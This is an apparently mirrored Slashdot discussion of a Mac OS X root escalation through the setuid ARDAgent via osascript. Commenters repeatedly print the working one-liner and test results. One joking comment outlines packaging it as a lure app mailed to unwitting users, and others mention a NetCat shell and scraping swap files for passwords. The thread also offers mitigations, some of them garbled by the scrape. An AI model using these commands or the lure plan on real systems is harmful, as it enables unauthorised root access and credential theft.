Slashdot Mirror
Mac OS X Root Escalation Through AppleScript
An anonymous reader writes "Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn't switched to via fast user switching. Secure? I think not." On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
ARD = Apple Remote Desktop You can remove it by following these instructions.
It's a submission from an anonymous user that doesn't cite any sources. That's pretty shoddy, even by Slashdot standards.
Could somebody explain how running a script requires physical access?
A proud member of the Onion-in-Hand alliance
This exploit would also only be possible if the user turned on Remote Desktop Sharing which is disabled by default out of the box on 'ALL the Macs in the world'.
When you turn that service on, it warns you of the security risks and still requires additional configuration to actually allow a connection to actually execute code remotely.
Oooh, applescript! you have pwnt us again.
JUMP JUMP JUMP JUMP JUMP JUMP JUMP JUMP IRRIGATE
Verified, on my Leopard box. SSH'ed to it and rooted it (I was able to touch a file in a root-only directory)
It seems perfectly serious since one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy.
I'm not familiar with AppleScript but that doesn't sound like it requires physical access to me. Can't you SSH or remote desktop into an OS X server and run that command to get root access? That seems like a serious vulnerability to me.
But Apple have made exactly the same marketing mistakes that Microsoft did in selling their respective OSes as ones that can be used easily by people with no knowledge of computers - people still click on attachments they shouldn't, still give their passwords to phishing web sites and still don't install regular security updates and scan their PCs for virii.
And in the case of this specific exploit, I am sure that a number of newbie Apple users would happily tap in "osascript -e 'tell app "ARDAgent" to do shell script "whoami"'" into their computers purely because "Jim The Friendly Computer Support Engineer" told them to do it.
So let's not beat about the bush - ANY exploit that isn't fixed as quickly as possible is a problem because there's always at least one spotty teenager trying to become a HAX0R who is prepared to try his luck against some poor unwitting user.
Gentoo Linux - another day, another USE flag.
Admittedly most OS X users probably don't have any kind of remote shell access enabled, but this does seem to be a problem...
Other reply -- Medieval_Gnome -- is absolutely correct. Unless you've DELETED by hand the Apple Remote Desktop files, the exploit works. I do not have ARD enabled, and the exploit works.
Okay, so I tested it and the whoami returns 'root'.
/Users/me/Downloads/test.txt"'
However, I also logged out of my account and into an account that has no permissions to access my regular home directory (normally I log in with short name "me"), then ran:
osascript -e 'tell app "ARDAgent" to do shell script "touch
It doesn't do anything for a long time, and then returns
execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
Same thing happens if I bundle the command into a sh file and try to execute that instead. I am not a hacker, but it would seem, at least at first glance, that ARDAgent is not entirely privileged.
-Ryan
AUWYHSTOT (Acronyms are Useless When You Have to Spell Them Out Too)
First, yes, this is a serious bug. It's a classic blunder, like getting into a land war in Asia, and is similar to the in NT3.51's scheduler to get LOCALSYSTEM rights, or the one in /bin/write in 2BSD to get a root shell.
It's also easy to fix.
And I am about 99 44/100 percent sure that there's more undiscovered holes like this in OS X, Windows Vista, and any random Linux desktop you could name.
THe thing is, it's not true that "one of the main security aspects of OS X is that root access is held sacred (as it should be) and malware is assumed to be 'stopped at the gate' by that policy". It's not. You can protect the OS from the malware, but the malware can still hide, still restart itself after a reboot, and still destroy everything you actually CARE about without root access. And malware can similarly break out of Vista's jail around IE, and whatever APple does along those lines.
Security is like sex. Once you're penetrated you're ****ed.
The biggest advantage that Apple has is that Safari doesn't (any more) have a mechanism (at least not by default) to blithely execute outside a *closed* sandbox (not a leaky one) any random malware that can convince it that it's safe and trusted. That's the biggest security problem Windows has. ActiveX and all its kin. It's harder to penetrate OS X in the first place... you pretty much have to depend on social engineering... and people CAN learn not to be social-engineered.
Yes, but does it run on Linux^H^H^H^H^Hcoffee-makers?
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
Never!
It does not matter if the service is enabled or not, osascript will execute the application for you.
It's not like we don't have a simple workaround:
sudo chmod 000
Perhaps you might consider evaluating the rest of the
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
http://spamdecoy.net - free throwaway anonymous email - avoid spam!
Read replies to post above. I've also myself tested it on a machine with ARD disabled. Works just fine.
Buffalo buffalo Buffalo buffalo buffalo buffalo Buffalo buffalo!
You do realize that the comment you linked is dead wrong and it does in fact work on OSX out-of-the-box, right? I just tried it on my macbook pro which has Leopard and I have made no modifications to it. It works.
More Twoson than Cupertino
This code could easily be wrapped into the preflight scripts for an Installer package in OS X, or integrated into any piece of malware to escalate itself to root without any user interaction beyond downloading it and launching it. In this sense, the arguments against the DNSChanger Trojan Horse of "it requires an admin password to be installed" becomes null and void. This is fairly serious, folks. One-click privilege escalation is way too easy for script-kiddies and professional malware distributers alike to integrate into their nasty programs.
I found another privelege escalation!
$ su
Password:
#
mod me funny
I can't get the script to successfully run anything other than "whoami". Has anyone else found this to actually be exploitable... or is this just a silly "hey lets make terminal output scary characters" game?
Modding Trolls +1 inciteful since 1999
My IQ is 162 and I didn't get your joke. Just how smart do you have to be to get that one?
Modding Trolls +1 inciteful since 1999
It's a good thing that it's only a local exploit.
OSX is so secure It's impossible for Safari to go a malicious Website and download a malicious installer to your Mac's "downloads" directory disquised as a legitimate installer (say Firefox 3) and remotely root your box using this local exploit and install a rootkit or virus when you confuse it with the legitimate installer.
Oh wait...
In Soviet Russia, Trojan exploits YOU!
I ain't got time to bleed....
All points of time and space are connected.
sudo chmod 755 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
Sheesh ....
-- t. q. tickell
Assumptions:
AppleScripting is only applicable to
"do shell script" is only a problem in the main binary, suid stuff in Resources/ isn't impacted.
Results: Now, I have one of the machines where this exploit isn't working: So, somebody out there who can get it to work, see if: works or not. That might need full pathing, I'm not sure.
My God, it's Full of Source!
OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
You have to have a UID lower than your own IQ, or the IQ of the poster. At least that's what I was told.
Of Code And Men
After about 20 seconds waiting:
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
I'm so not impressed.
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Firstly, I want to say I'm impressed.
I'm not a Windows Fanatic or a MacEvangelist. I use both Windows and OSX and they both have strengths and weaknesses.
I've seen waaay too many posts here and abroad about vulnerabilities in every OS out there. They are an unfortunate fact of life the IT Universe. However, too many times, when info is posted about Windows vulnerabilities MacEvangelists scream about how secure OSX is and and how Windows stinks. Conversely, when a vulnerability for OSX is posted, many of the same users write it off as a non-issue, too hard to execute, or some problem with the user's configs rather than an actual vulnerability.
I have seen more than the normal number of folks, however, responding to this article with honesty about this exploit and even testing it further. (Let's just hope the underpaid Apple engineers [see other article about that] are listening).
There are those here, though, who seem intent on writing this off as a non-exploit or trying to explain it away. That's where a concept known as "Intellectual Honesty" comes into play. You have to be honest with yourself about what you know and do. Viruses are a fact of life on computers and, while Apple is closed architecture (which by its very nature makes it MUCH more secure than other OSes), it's only a matter of time before real viruses appear for the Apple platform that just won't be able to be explained away.
This article's exploit is a dangerous one to be sure and there are several equivalent Windows bugs. However, for all it's faults, Microsquash does a reasonable job of patching vulnerabilities carefully. Sometimes patching them right takes a little more time than users like, but the patches usually address the problems (although they do sometimes introduce more).
Apple does an "okay" job of patching vulnerabilities, once they admit that they exist.
There's another article about "carpet bombing" attacks via Safari and IE in Windows, and the responders there are perfect examples of the problems I refer to. A goodly number of them seem to be intent that the problem is Windows' fault and not a problem in Safari. Windows has issues, but the security problems exist in the program that's running and it's the programmer's duty to make sure that the APIs and such are called correctly and not in a manner to allow exploit to occure (too many programmers take easy shortcuts that introduce vulnerabilities).
I hate to think it, but I will probably get the ever lovin' crap flamed out of me for saying all of this.
Let me re-iterate. I'm impressed by a lot of the responders here with the unusually high level of Intellectual Honesty from Mac users than I have seen in the past. Let's hope the trend continues.
p.s. I love the "security is like sex" comment above. Well put.
The joke was not a good one, IMHO, but he simpy meant:
"The trick works through SSH if you know the password of the user currently logged on the target machine."
I suppose you would need to be at least smart enough not to brag about a 162 IQ. You might want to re-test. And have your blood lead and mercury levels checked.
If you mod me down, I shall become more powerful than you could possibly imagine.
Yeah, it wasn't my best work.
If you mod me down, I shall become more powerful than you could possibly imagine.
Doesn't work for me (running 10.5.3). Returns
23:47: execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)
No worries, dude... My nerdy jokes are never understood by my non-nerd friends or family members. I am pretty used to it by now!
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712) What did I do to magically protect my machine?
"You can't dissect him, predict him, which of course means he's not a lunatic at all."
No, what's good about Linux, and to a slightly lesser extend OSX, is that Unix is an incredibly simple system at it's core, so there are relatively few possible exploitation vectors and they are all well understood.
:)
Unfortunately KDE, Qt, X11, Gtk, Gnome, and the whole "let's make Linux into Windows" desktop hodgepodge that's layered on top of UNIX[1] is incredibly complex, has many components running with elevated privileges, and while it has fewer exploitation vectors than Windows it's conceptually more complex than the NeXTstep-derived equivalents in OS X.
And on top of that, many linux distros have resurrected the absolutely insane concept of Autorun CDs, something Apple was smart enough to abandon back in the dark ages of floppy distribution.
So, all in all, "do not be so proud of this technological terror". I'd go on, but I've got work to do.
[1] No, X11 is not really a UNIX API, it was designed to be platform independent, ran on UNIX and VMS from the start, and completely ignores many of the fundamental design goals of UNIX as well as many of the most useful *results* of those design goals.
Just embed the script in an applescript *.app executable, which many clueless users (I know, I am a Mac sysadmin to some of them) will click on, despite the warnings from the system on trying to start an executable from Mail and on first launching the app.
It's almost like Anna_Kournikova.jpg.vbs all over again.
I know you're making a joke but there's a known race condition in a similar widely-used command.
1. Open Script Edtor
2. type in the following code
tell application "Terminal"
do script "osascript -e 'tell app \"ARDAgent\" to do shell script \"whoami\"';"
end tell
3.Save as NubileRussianTennisPlayer.app
4.Attach as non Windows friendly attachment to a new mail in Mail.app
5.Send to as many hopefully clueless Mac users as possible.
6.Profit
Here's a non-destructive way to neutralize it.
/System/Library/CoreServices/RemoteManagement/
cd
sudo tar -czf ARDAgent.app.gz ARDAgent.app
sudo chmod 600 ARDAgent.app.gz
This simply hides it in an unreadable tarball.
Some drink at the fountain of knowledge. Others just gargle.
Out of three tries:
/System/Library/CoreServices/RemoteManagement/ARDAgent.app /System/Library/CoreServices/RemoteManagement/notARDAgent.app
- the first one just hung; I ctrl-c'd it after a while.
- the second one worked.
- the third one died, with the execution error: ARDAgent got an error: AppleEvent timed out. (-1712) error others are reporting.
(overloaded old 1.25Ghz G4, running 10.4.11 (latest version of Tiger unless they released an update in the past week).
I'm guessing that the osascript command is only willing to wait so long - and my machine's speed and load is such that it's right on the cusp of that time.
Renaming it seemed to work for the moment, though I'm sure it also breaks legit use of Remote Desktop:
$ sudo mv
Password: XYZZY
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'18:19: syntax error: No user interaction allowed. (-1713)
$ osascript -e 'tell app "wsiofth" to do shell script "whoami"'
17:18: syntax error: No user interaction allowed. (-1713)
egypt urnash minimal art.
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
Maybe it's an Intel-only thing.
It errs with "A unknown token can't go after this identifier.", and highlights "e '" in the script.
Mac OS X 10.5.3
use the 'password reset' utility on the install disk,
There was an unknown error in the submission.
Doesn't look too scary to me. Some kind of hoax maybe?
Caveat Utilitor
There's got to be a temporary solution, while we wait for Apple to fix it.
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent will do the trick, huh?
I don't use Screen Sharing, so I assume sudo chmod 4744
I think this approach is better than deleting or compressing ARDAgent... Is it?
For those that use Screen Sharing, is there a fix?
So I guess my university's CS Dept. IT guy won't mind me using this in the Mac lab... after all, physical access == full rights to do whatever you want.
If you have physical access to a machine and the disk isn't encrypted, you can get root. How dense do you have to be to find this surprising, or even mildly interesting?
I'm a Programmer. That's one level above Software Engineer and one level below Engineer.
On the other hand, since this exploit seems to require physical access to the machine to be rooted, you might have some other security concerns to deal with at that point, like keeping the intruder from raiding your fridge on his way out.
What about non personal deployments?
Like corporate installations?
Kiosk installations?
Any small business that wants to secure a machine?
How about a class room that you want kiddies to run games but not wipe the OS?
Physical access MEANS if they can access the hardware (inside the case). It DOES NOT mean typing something on the freaking keyboard, when logged in as a low level user.
In the IT world you password lock boot media, lock cases,etc. If an IT person can't secure a machine without removing the keyboard, there MIGHT be a security problem.
(SlashDot Editors? WTF?)
Macs come from the factory with the root account disabled--a user has to manually enable it by using the Directory Utility (or System Preferences in earlier versions of OS X). I doubt that many clueless newbies have done this and clueful oldies should know better since there is little reason to run as root under OS X.
So, can someone explain to me how an exploit can get root of there's no root account?
This ain't rocket surgery.
Tried it and got the following
18:19: syntax error: No user interaction allowed. (-1713)
So those of use too lazy to upgrade are still secure, at least from this exploit.
Is it really bad for an attacker to find out who I am using this "whoami" thingy?
Mine's even worse than yours!
$ sudo su
#
$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"';
18:19: syntax error: No user interaction allowed. (-1713)
$ sudo rm -r /System/Library/CoreServices/RemoteManagement/ARDAgent.app/
Running this command as a user with sudo privs will stop the bug. It probably also affects apple remote desktop, though.
Okay, so this is a local root escalation.
#1. How many Apple boxes are used for servers ?
aaaaand
#2. How many Apple users don't already have local root access ?
I'm honestly asking, because I have very little experience with Macs in the workplace. How often will one see a Mac user that doesn't have root access ? In the Windows world, it's very common with Active Directory networks and locked-down corporate desktops... is the same true of Apple shops ?
-Billco, Fnarg.com
chmod 660 /usr/bin/osascript
All better now.
Apple fanbois can now exhale.
Sig this!
I call those "Should I do something stupid" dialogs.
Given that:
* The answer should almost always be "no".
* It's less hassle if it doesn't ask, just doesn't do it.
* Users get trained to answer "yes", because they keep getting them.
Any time you're putting up "Should I do something stupid" dialogs, you're making things easy for people who are trying to use social engineering to install malware.
Here's the history of Apple's experiment with stupid security dialogs in Safari:
http://scarydevil.com/~peter/io/osx-security.html
http://scarydevil.com/~peter/io/apple.html
http://scarydevil.com/~peter/io/apple3.html
http://scarydevil.com/~peter/io/apple4.html
They finally wised up, and removed the "doing something really stupid" bit, by turning off "open Safe files" by default.
Microsoft's been in denial about the same thing since 1997.
http://scarydevil.com/~peter/io/airlines.html
Windows is so much worse than everyone else that people tend to ignore it when Apple or KDE does something slightly less stupid than ActiveX, but it's still stupid, and putting up a "should this plane explode now?" dialog doesn't eliminate the stupidity.
Users noticed in October that Apple's built-in file system permissions verifier really wanted to delete the ARDAgent program (along with several others) because it was user-executable and setuid root. None of the users seemed to understand exactly what this meant...
Apple's reported fix, and I am not making this up:
The entire text below, in case Apple deletes it:
Mac OS X 10.5: Disk Utility's Repair Disk Permissions reports issues with SUID files
* Last Modified: June 06, 2008
* Article: TS1448
* Old Article: 306925
Symptoms
The following messages may appear in the Disk Utility log window when repairing disk permissions.
Warning: SUID file "usr/libexec/load_hdi" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/Resources/DiskManagementTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/Locum" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Install.framework/Versions/A/Resources/runner" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/readconfig" has been modified and will not be repaired.
Warning: SUID file "System/Library/PrivateFrameworks/Admin.framework/Versions/A/Resources/writeconfig" has been modified and will not be repaired.
Warning: SUID file "usr/libexec/authopen" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/Finder.app/Contents/Resources/OwnerGroupTool" has been modified and will not be repaired.
Warning: SUID file "System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent" has been modified and will not be repaired.
"Any message that starts with: 'ACL found but not expected on...'."
Products Affected
Mac OS X 10.5
Resolution
You can safely ignore these messages. They are accurate but not a cause for concern.
We recently had heard in the office over one of the Yellow Machine that's made by Anthology Solutions.
I tried it and got:
execution error: ARDAgent got an error: "whoami" doesnâ(TM)t understand the do shell script message. (-1708)This is on MacOSX 10.5.3 (9D34) Darwin 9.3.0, Power PC . I have "Remote Login" and "Remote Management" enabled. "Screen Sharing" is under the control of Remote Management.
Haven't tried it on my Intel Mac, or my iMac G5/Tiger . (The iMac stays at Tiger for BitPim and a bunch of games for the kids.)
Just tried this on my brand new MacBook (more or less fresh out of the box, less than a week old. I haven't enabled any services, but have upgraded to 10.5.3). Worked like a champ, whoami returns "root". This defintely does work "out of the box".
I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
I used to work in AppleCare, and this vulnerability doesn't have me worried the slightest. Applescript isn't like ActiveX, it isn't running all the time, and so for people to execute this they may as well have terminal access.
As for getting root access without knowing the root password, the "specialists" of AppleCare have known and explained to their user base, how to do that for years. In fact, when 10.5 was released there single biggest issue was permission sets as they applied to users not standing the transition from the more traditional unix ones used in 10.4. Thousands of lucky mac users were explained how rebuild their users, including regaining root access, over the phone. The unlucky ones had to Erase and Install.
Don't take some anonymous coward's word for it though, call AppleCare and get your root access back.
OVER 9000
Mac: Oh %$#& %$#& %$#& %$#&.
PC: I can relate.
Mac: No!! %$#& %$#& %$#&
PC: Don't feel so glum, Mac, it happens to everyone once in a while. Look at it this way -- its a sign you're growing up.
Mac: NOOOOOOOOOOOOOOOOOOOOOOOOOO.
PC: You know, they can do wonderful things these days with firewall software.
Mac: I want to cut myself.
PC: Not a good idea as a root user, Mac.
Mac: *glowers*
PC: I only kid because I love you.
Help poke pirates in the eyepatch, arr.
The only machine I can get this to work on is one not connected to our Open Directory infrastructure. All the other machines (a mix of PPC and Intel running 10.4.11 and 10.5.3) that authenticate to OD all fail with "whoami" doesn't understand the do shell script message".
If someone is sitting at your computer playing shenanigans, you've got bigger things to worry about.
Sure, if you insert a Ubuntu CD in Ubuntu it recognizes that there are packages there and will ask if you want to have the CD added to your repositories. Yet no software will be installed automatically.
Well, if you have physical access to an OS X box, and you have an OS X install DVD, you can always reset the root password and hop right into the machine.
I guess this exploit saves the perpetrator $129, but the real lesson should be, physical access = vulnerable computer.
"Things are more moderner than before- bigger, and yet smaller- it's computers-- San Dimas High School football RULES!"
This may have come too late in the comments for anyone to see it, but if the exploit is active on your system, adding a key to ARDAgent's Info.plist makes the problem go away without disabling ARDAgent altogether. (Whether or not ARDAgent is a security vulnerability itself is another story.)
That "YES" is not a typo; setting it to "NO" does not fix the problem. AFAICT this makes osascript expect that ARDAgent will implement more of its own AppleScript handlers...which of course, it doesn't.
P.S. I searched for other, similar problem setuid apps, and turned up check_afp.app (which someone else posted already) and, surprisingly, GoogleUpdaterInstaller. Fortunately, even though these apps run setuid, they won't respond to the "do shell script" attack.
I've compiled and posted a video of this in action and mixed in a bit of NetCat, thus providing an interactive shell for convenience. Check it out at http://fieryferret.com/ard_hack/
srsly i just got a timeout
"""
laptop:~ meh$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
"""
tried on 10.5.3 and 10.4.11, no go. ARDAegnt does not appear to accept the do shell script command.
Your average optical drive is rather expensive to use as a CD case you know.
Advanced users are users too!
I can see that ARDAgent is set UID root. That can not be good.
However, running this on 10.5.2 PPC machine or a 10.4.11 PPC machine will not echo back 'root' as expected.
Is someone, able to provide some further details as to how to get this to work, or will it only work in Intel machines?
Just curious.
So someone has to be logged into the Desktop at the same time the command is issued (even if issued remotely) and I'm guessing that the account the remote user is logged into probably has to be the same account the desktop user is using.
So Xserve servers should be immune to this via SSH, unless someone else is actively using Remote Desktop at the same time. Interesting!
if you are in Script Editor (AppleScript) already.
;)
Nice try script kiddie.
My even better question is: why is "bah, it requires physical access" seen as an automatic "don't worry about it" around these parts?
/". Etc.
Yes, maybe a home computer doesn't have more people logging in. But:
- Workstations at work have lots of people who can log into them. If I come really early or stay late, I can go to any workstation (and a few laptops) in the building and log in with my own account. If it's possible to escalate your rights from there, I could get access to everyone's local and temporary files. Go see what the department boss is doing. Go see with which suppliers do the purchasing guys deal. I'm sure their competitors will love knowing what kind of discount they could negotiate and still steal that contract. Walk to the other building and get the CAD guys' designs.
Plus there are a lot of people who can physically get near any computer, up to CEO level. Like, say, the janitors.
- Servers even more so. There are servers where hundreds of people can log in. If you can escalate your rights to root, you can get to their files. Or you can install some rootkit on the bloody server. Or even one disgruntled L1 support guy about to quit can escalate his rights, reconfigure the backups, and do a "rm -rf
So basically not arguing with your point, but even _if_ the answer were "OMG, you need to be physically at that computer" or "OMG you'd need to be logged in anyway", it still wouldn't be much of a saving grace. There _are_ more uses for computers than as someone's email and surfing rig at home.
A polar bear is a cartesian bear after a coordinate transform.
This works but sometimes you have to do a few attempts before it finally does the job.
Tested on latest Tiger with normal user logged in.
I get this:
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
Confirmed that anyone logged in as Guest (supposed to be a low-privilege account) can use this exploit to get to root.
macbookpro:~ Guest$ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root
Next time your at one of those shows where they have supposedly locked-down machines for webmail etc you know how much to trust them...
Too dumb to think of an original signoff
Given that the exploit requires ARD the 50% statistic seems unlikely to me. At the very least, I seem to be in the other 50%:
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
23:47: execution error: ARDAgent got an error: Connection is invalid. (-609)
root
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
kCGErrorRangeCheck : Window Server communications from outside of session allowed for root and console user only INIT_Processeses(), could not establish the default connection to the WindowServer.Abort trap
23:47: execution error: ARDAgent got an error: AppleEvent timed out. (-1712)
So apparently this only works when an administrator user is logged into the machine, so the effects should be minimal. At the very least, if you leave your machine open, anyone can open a terminal and get root without knowing your password.
I also wasn't able to get it to open any application as root, such as: osascript -e 'tell app "ARDAgent" to do shell script "open -a \"System Preferences.app\""';
What, me worry?
Why not just remove the setuid bit?
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/
cd
sudo chmod 755 ARDAgent
-> osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
not_root
->
His point is that 162 IQ probably isn't all that uncommon around these parts, it's "nothing to brag about".
the osascript command should run whatever commands as the user so it should setuid whatever app its sending the apple event, (in other words setuid what ever its telling "to do shell script" to the user osascript is running as)
Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog that it's impossible to prevent Apple's installer popping up even if you, the developer, only want to install things in ~/Library rather than /Library.
Thanks, Apple, for training your users these last 8 years to type their admin password at the drop of a hat.
"Wise men talk because they have something to say; fools, because they have to say something" - Plato
Any circumstances where the OS has an "auto run" or "dig through the CD and find out what's on it" function.
Heck, even JPEGs have been used for attack vectors... there can be bugs in any decode program, so on no account should the OS do anything automatically to removable/hotpluggable media.
There are even DOS attacks you can do with mal-formed ISO9660 filesystems. I've kernel panicked big UNIX servers with bad CDs; back when mkisofs had more bugs and I didn't know how to use it....
Any time a computer trusts user-provided data to be correctly formed, you've got a problem.
For an 'exploit' [erm, negligent configuration] that's been around since Nov. 07, it sure took a while for everyone to get their panties in a sheep shank. You could just remove the SUID bit and get back to your boring lives.
/System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
chmod u-s
But hey, if you want to go all willy-nilly with with rm -rf, and fat finger your system, have fun. I'll be back to my boring, cowardly anonymous life before yours gets exciting.
There are 3 antivirus programs on OS X which are even higher priced than Windows versions using end users CPU on an OS without any known self propagating virus/worm.
All those 3 uses considerable amounts of CPU while claiming they use "Heuristics".
These kinds of issues are happening on all operating systems while I am sure a good commercial antivirus claiming true heuristics would create circus on desktop if one tries to exploit something like that.
Users of these 3 antiviruses (newly released Avast doesn't count, Clam doesn't count) should use it as a benchmark to see if they are sparing their CPU cycles to nothing or not. These kinds of basic issues are great to use as a benchmark of security tools. Especially companies I should say.
sudo chmod u-s /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent
if you insert a Ubuntu CD in Ubuntu it recognizes that there are packages there and will ask if you want to have the CD added to your repositories. Yet no software will be installed automatically.
By adding a repositry to your apt sources you are placing a huge level of trust in the admins of that repositry. That repositry can trivially provide "updated" versions of core system packages so that on the next upgrade run the scripts included in those packages will be executed as root.
note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
I'm sorry, I don't quite understand. Are you agreeing with me, disagreeing with me, or making a comment about a related issue... and are you recommending or debunking antivirus software on OS X?
Related to the "should I do something stupid" dialog is the "type your admin password to continue" dialog
/Library, *and* this decision can't be deferred until first run. Like a device driver, for example.
/Library rather than ~/Library.
Actually, for most of the places that dialog pops up, it's not a stupid security dialog. It's verifying that the person sitting in front of the screen is actually authorized to perform an action. The problem is:
1. Because this option is available, Apple hasn't bothered to figure out if there's a less dangerous way of performing a particular action.
2. As you say, it gets invoked in many cases where it's not necessarily going to be required, rather than being deferred until you actually require elevated privileges.
3. Related to the first point, it's led to the use of root privileges where lesser privileges would have sufficed.
4. There are some cases where this dialog is invoked as a stupid security dialog, where you don't actually require elevated privileges at all.
And related to this is the idea that creating an installer is necessary or even desirable. The ONLY time you should need an actual installer is when your application actually needs to install something into
And related to that is the additional restrictions Apple has imposed in Leopard, for example requiring certain plugins to be installed in
Security Theatre, nobody is immune. I've run into all four of the points (1..4) above in UNIX applications, all the way back to when I was at Berkeley in the late '70s. Requiring root to access privileged ports in the BSD TCP stack is a perfect example of security theatre making a system less secure.
The price of security is eternal vigilance, and this is the kind of chickenshit stuff nobody bothers to be vigilant against.
Just out of interest, under which circumstances do you _not_ want a data CD to be mounted when you insert it in your drive?
I'm talking about autorun being the "stupid thing"... not automount.
However, now that you mention it, it should probably pop up a dialog asking how you want to mount it:
1. Should the mount honor the execute bit or not?
2. Should the mount honor setuid/setgid bits or not?
3. Should the mount honor device nodes or not?
4. Should the mount honor access permissions or not?
If you're not logged in as a privileged user, you probably shouldn't get options 2 or 3, and the CD should probably be mounted as if all the files were owned by you.
And, finally, I often want to insert a CDROM to copy it, or to examine it with a file system analysis tool. So "don't mount it, ignore it" should be an option.
Here's a quick fix/work around...
Go to the Sharing panel in System Preferences and enable the "Apple Remote Desktop" service. Then disallow all permissions in the user Access Privileges list (or not; this is actually optional).
The command then returns "'whoami' doesn't understand the do shell script message".
At least that works for me. YMMV.
KDE opens a dialog and asks you if you want the CD to be mounted
OK, I missed this, I read this as "KDE opens a dialog and asks you if you want the CD to be executed" or something like that, because my new day job involves writing software for Linux, so I've occasionally got to test software on a variety of Linux boxes and we have a rack of test boxes running a set of bog standard Linux installs (they wouldn't be much good as test boxes if they'd been customized) and when you stick a CD containing a shell script called "/autorun" in many of these boxes, it pops up a dialog asking if it should *execute* that file.
Yes, really.
I think this happens on Gnome-based boxes rather than KDE, but it regularly happens.
There's actually a spec for this kind of craziness: Desktop Application Autostart Specification... look under "Autostart Of Applications After Mount".
Here's what I wrote in 2006 when I first read about the spec: Linux is not Windows.
Combined with the behavior you're describing this is doubly stupid, because someone used to KDE would be likely to reflexively hit that "please infect my computer" button before noticing that it's not asking to mount the CD.
Thanks for this post.
*quietly unchecks a certain checkbox*
Unfortunately, many people have user settings from when opening safe files WAS enabled by default (like me). All apple upgrades preserve user settings, so many people still have that little box checked.
Help I'm a rock.
Autorun is worse than things like bugs in JPG or bugs in file systems.
:)
Bugs, you can fix.
When the security flaw is in the design you can't fix it without breaking stuff that was written based on the flawed design.
THe poster boy for this phenomenon, of course, is the Microsoft HTML control, Internet Explorer, and ActiveX.
All osascript is doing is compiling and running 'tell application "ARDAgent" to...' as the logged in user. The application "ARDAgent" is already running as root, and accepting '... do shell script "..."' and running it. If ARDAgent is not running, then the osascript command just hangs waiting for it to start up (as it does on my computer, because I don't have Apple Remote Desktop running).
The bug is that ARDAgent's applescript library blithely executes "do shell script".
What other applications running with elevated privileges accept random Applescript from any random yobbo?
Most commands I've tried respond with "syntax error: No user interaction allowed. (-1713)".
It's not quite as easy as passing in an "applescript:" URL, at least...
Many say this is a ticking bomb.
/var/vm/swapfile0 |grep -A 4 -i longname
If a script has rights to Run, you can run a script. Launching it from Applescript is just another way of running it (or a way to tell and app to run it!!!!).
For example, If this script can be run on OX S, you will see usernames and password by checking the swap files (swapfile0, 1, 2, 3...)
sudo strings
But, I need privileges to execute the code. Could I tell and App to run it? That is bad.
http://www.macshadows.com/forums/index.php?showtopic=8640
I'm going to go out on a limb and guess you weren't referring to bootable or "live" CDs (and unless they've changed policies since the original OS X, you can still restore or nuke your Mac by booting from the system discs), but the annoying and potentially dangerous concept of autostarting an application when a CD is inserted. Either way requires physical access to the machine, unless you rookit in and use a virtual device reading an image file... then we get into the fan-favorite "running Linux inside a VM on BeOS in a VM on Amiga..." scenario.
"We are Microsoft. You shall be assimilated. Competition is futile."
No luck, this is not working for me.
Why is this working for some people and not for others.
but the annoying and potentially dangerous concept of autostarting an application when a CD is inserted.
Indeed.
Either way requires physical access to the machine
I don't need physical access to the machine to distribute malware on a CD. I just need to distribute a CD that will launch said malware when it's inserted, and let my victims provide the physical access part at their leisure.
The default configuration of machines is ARD disabled.
When ARD is enabled, this exploit seems to fail.
Temporary solution : Enable ARD!
that's auto-run, not auto-mount.
Advanced users are users too!
Scenario:
I'm the only user logged in, and I have a keyboard onto an OS X box. I cannot access the box itself.
I plug in my EVUL USB KEY OF DEWM (into the USB port on the keyboard), go Apple->Restart, it does so, I hold down OPTION, I get to choose to boot off the EUKoD.
Peter
FYI all, I just tried
osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
and it does nothing for me. It returns the following error:
23:47: execution error: ARDAgent got an error: "whoami" doesn't understand the do shell script message. (-1708)
